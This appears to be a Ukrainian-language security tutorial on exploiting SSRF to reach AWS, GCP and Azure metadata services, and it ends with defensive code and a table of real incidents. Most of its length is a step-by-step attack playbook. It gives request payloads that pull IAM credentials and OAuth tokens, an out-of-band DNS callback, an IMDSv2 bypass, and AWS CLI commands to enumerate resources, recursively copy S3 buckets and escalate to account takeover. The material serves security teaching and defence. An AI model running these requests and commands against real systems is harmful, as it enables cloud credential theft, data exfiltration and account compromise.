SSRF → хмарні метадані: від вразливості до витоку ключів AWS
Передмова
SSRF (Server-Side Request Forgery) перетворилась із "цікавої" вразливості в критичну з масовим переходом інфраструктури до хмари. У AWS, GCP і Azure існують metadata сервіси — внутрішні HTTP ендпоінти доступні лише з EC2/VM інстансу. Вони повертають IAM credentials, SSH ключі, конфіги — все що потрібно для захоплення акаунту.
Саме так злам Capital One у 2019 році скомпрометував дані 100 мільйонів клієнтів — через SSRF → AWS metadata → IAM role credentials.
Як це працює
1. Знайдена вразливість SSRF на app.target.com
2. Сервер запущений на AWS EC2
3. Всередині EC2 доступний http://169.254.169.254/ (link-local)
4. Атакуючий змушує сервер зробити запит до metadata service
5. Отримує IAM role credentials (AccessKeyId, SecretAccessKey, Token)
6. Використовує credentials для доступу до всіх AWS ресурсів
Крок 1: Виявлення SSRF
# Шукаємо параметри де передається URL
GET /api/fetch?url=https://example.com HTTP/1.1
POST /webhook HTTP/1.1
{"callback_url": "https://example.com/notify"}
# Шукаємо URL параметри у:
# - Завантаженні зображень/документів
# - Webhook налаштуваннях
# - PDF/screenshot генераторах
# - URL preview
# - Import from URL функціях
Підтвердження через DNS callback:
GET /api/fetch?url=http://UNIQUE.interact.sh/ HTTP/1.1
# Якщо прийшов DNS запит - є SSRF
Крок 2: Виявлення хмарного середовища
# AWS EC2
http://169.254.169.254/
# Якщо відповів - AWS. Перейти до:
http://169.254.169.254/latest/meta-data/
# GCP (Google Cloud)
http://metadata.google.internal/
http://169.254.169.254/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance
Крок 3: Отримання AWS IAM Credentials
# Список доступних metadata
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
# Відповідь:
ami-id
hostname
iam/
instance-id
instance-type
local-ipv4
...
# Знайти IAM role
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Відповідь: назва ролі
WebAppRole
# Отримати credentials
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole
Відповідь:
{
"Code": "Success",
"LastUpdated": "2024-01-15T10:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2024-01-15T16:00:00Z"
}
Крок 4: Використання Credentials
# Налаштувати AWS CLI
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEA...
# Перевірити хто ми
aws sts get-caller-identity
# Відповідь: AccountId, Arn (ім'я ролі)
# Розвідка
aws s3 ls # список бакетів
aws ec2 describe-instances # всі EC2
aws iam list-roles # список ролей
aws secretsmanager list-secrets # секрети
# Завантажити все з S3
aws s3 cp s3://target-prod-data/ ./data/ --recursive
# Якщо є права iam:PassRole або ec2:RunInstances:
# Можна запустити нову EC2 з адмін роллю і захопити акаунт
Крок 5: IMDSv2 і обхід
AWS ввів IMDSv2 (Instance Metadata Service v2) — захист від SSRF через обов'язковий PUT запит з session token перед GET.
# IMDSv2 захист
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Відповідь: TOKEN
curl -H "X-aws-ec2-metadata-token: TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Обхід IMDSv2 через SSRF (якщо додаток підтримує заголовки):
POST /api/proxy HTTP/1.1
{
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
Деякі SSRF векторні точки (curl, wget у backend) можуть виконувати PUT запити якщо додаток передає метод або заголовки.
GCP Metadata Service
# GCP вимагає заголовок
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/"
# Отримати service account token
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Відповідь:
{"access_token": "ya29.XXXX", "token_type": "Bearer", "expires_in": 3599}
# Використання
curl -H "Authorization: Bearer ya29.XXXX" "https://storage.googleapis.com/storage/v1/b" # список бакетів
Azure Metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Захист
# 1. Whitelist дозволених URL/доменів
ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("URL not allowed")
# 2. Блокування внутрішніх адрес
import ipaddress, socket
def is_safe_url(url):
hostname = urlparse(url).hostname
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except:
return False
return True
# 3. Включити IMDSv2 на AWS EC2 (hop limit = 1)
# aws ec2 modify-instance-metadata-options # --instance-id i-xxxx # --http-tokens required # --http-put-response-hop-limit 1
# 4. Виконувати fetch в окремому сандбоксі без доступу до внутрішньої мережі
Реальні кейси
| Компанія | Рік | Вплив |
|---|---|---|
| Capital One | 2019 | 100M клієнтських записів, IAM role abuse |
| Shopify | 2020 | Internal metadata access (bug bounty $25K) |
| Twitch | 2019 | SSRF до внутрішніх AWS сервісів |
| GitLab | 2021 | SSRF → Redis → RCE (CVE-2021-22214) |